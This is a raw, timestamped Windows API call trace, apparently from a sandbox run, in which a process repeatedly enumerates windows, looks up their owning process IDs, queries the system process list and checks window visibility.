[0260.426] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0260.426] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0260.426] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0260.426] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0260.426] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0260.426] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0260.427] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0260.427] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0260.427] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0260.427] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0260.427] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0260.427] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0260.427] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0260.427] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0260.427] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0260.427] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0260.428] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0260.428] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0260.428] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0260.428] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0260.428] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0260.428] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0260.428] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0260.428] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0260.430] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0260.520] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0263.552] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x119c8) returned 0x0
[0263.565] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x119c8) returned 0x0
[0263.567] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x119c8) returned 0x0
[0263.571] EnumWindows (lpEnumFunc=0x1b1a2afc, lParam=0x0) returned 1
[0263.572] GetWindowThreadProcessId (in: hWnd=0x3013c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0263.572] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.572] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.572] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.572] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.573] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0263.573] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.573] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0263.573] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0263.573] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.573] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.574] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.574] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.574] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.574] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.574] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.575] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.575] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0263.575] GetWindowThreadProcessId (in: hWnd=0x500a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.575] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.575] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf8c
[0263.575] GetWindowThreadProcessId (in: hWnd=0x102ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4e4
[0263.576] GetWindowThreadProcessId (in: hWnd=0x1026c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0263.576] GetWindowThreadProcessId (in: hWnd=0x102e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0263.576] GetWindow (hWnd=0x102e0, uCmd=0x4) returned 0x0
[0263.576] IsWindowVisible (hWnd=0x102e0) returned 0
[0263.576] GetWindowThreadProcessId (in: hWnd=0x102e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0263.577] GetWindow (hWnd=0x102e6, uCmd=0x4) returned 0x0
[0263.577] IsWindowVisible (hWnd=0x102e6) returned 0
[0263.577] GetWindowThreadProcessId (in: hWnd=0x102e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0263.577] GetWindow (hWnd=0x102e2, uCmd=0x4) returned 0x0
[0263.577] IsWindowVisible (hWnd=0x102e2) returned 0
[0263.577] GetWindowThreadProcessId (in: hWnd=0x102de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0263.577] GetWindow (hWnd=0x102de, uCmd=0x4) returned 0x0
[0263.577] IsWindowVisible (hWnd=0x102de) returned 0
[0263.577] GetWindowThreadProcessId (in: hWnd=0x102dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0263.577] GetWindow (hWnd=0x102dc, uCmd=0x4) returned 0x0
[0263.577] IsWindowVisible (hWnd=0x102dc) returned 0
[0263.577] GetWindowThreadProcessId (in: hWnd=0x302d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0263.578] GetWindowThreadProcessId (in: hWnd=0x4015e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0263.578] GetWindowThreadProcessId (in: hWnd=0x50116, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0263.578] GetWindowThreadProcessId (in: hWnd=0x6011a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0263.578] GetWindowThreadProcessId (in: hWnd=0x900a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.578] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.578] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.578] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.579] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.579] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.579] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.579] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.579] GetWindowThreadProcessId (in: hWnd=0x10268, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0263.579] GetWindowThreadProcessId (in: hWnd=0x10264, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0263.579] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0263.580] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0263.580] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0263.580] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0263.580] GetWindowThreadProcessId (in: hWnd=0x10250, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0263.580] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0263.580] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0263.580] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0263.580] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0263.581] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0263.581] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0263.581] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0263.581] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0263.581] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0263.581] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0263.582] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0263.582] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0263.582] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0263.582] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0263.582] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0263.582] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0263.583] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0263.583] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0263.583] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0263.583] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0263.583] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0263.584] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0263.584] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0263.584] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0263.584] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0263.584] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0263.585] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0263.585] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0263.585] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0263.585] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0263.585] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0263.660] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0263.661] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0263.661] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0263.661] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0263.661] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0263.661] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0263.661] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0263.661] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0263.661] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0263.662] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0263.662] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0263.662] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0263.662] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0263.662] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0263.662] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0263.662] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0263.662] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0263.663] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0263.663] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0263.663] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0263.663] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0263.663] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0263.663] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0263.663] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0263.664] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0263.664] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0263.664] GetWindowThreadProcessId (in: hWnd=0x30164, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0263.664] GetWindowThreadProcessId (in: hWnd=0x30158, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0263.664] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0263.664] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0263.665] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0263.665] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0263.665] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0263.665] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0263.665] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0263.665] GetWindowThreadProcessId (in: hWnd=0x200a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0263.665] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x578
[0263.666] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0263.666] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x530
[0263.666] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.666] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x508
[0263.666] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.666] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0263.666] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.666] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.667] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0263.667] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.667] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.667] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0263.667] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0263.667] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x448
[0263.668] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0263.668] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0263.668] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0263.668] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.668] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0263.668] GetWindowThreadProcessId (in: hWnd=0x102d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf9c
[0263.668] GetWindowThreadProcessId (in: hWnd=0x102cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x808
[0263.668] GetWindowThreadProcessId (in: hWnd=0x1026e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0263.669] GetWindowThreadProcessId (in: hWnd=0x102e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0263.669] GetWindow (hWnd=0x102e4, uCmd=0x4) returned 0x102e2
[0263.669] GetWindowThreadProcessId (in: hWnd=0x150270, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0263.669] GetWindowThreadProcessId (in: hWnd=0x50114, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0263.669] GetWindowThreadProcessId (in: hWnd=0x4011e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0263.669] GetWindowThreadProcessId (in: hWnd=0x1026a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0263.669] GetWindowThreadProcessId (in: hWnd=0x10266, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0263.669] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0263.669] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0263.670] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0263.670] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
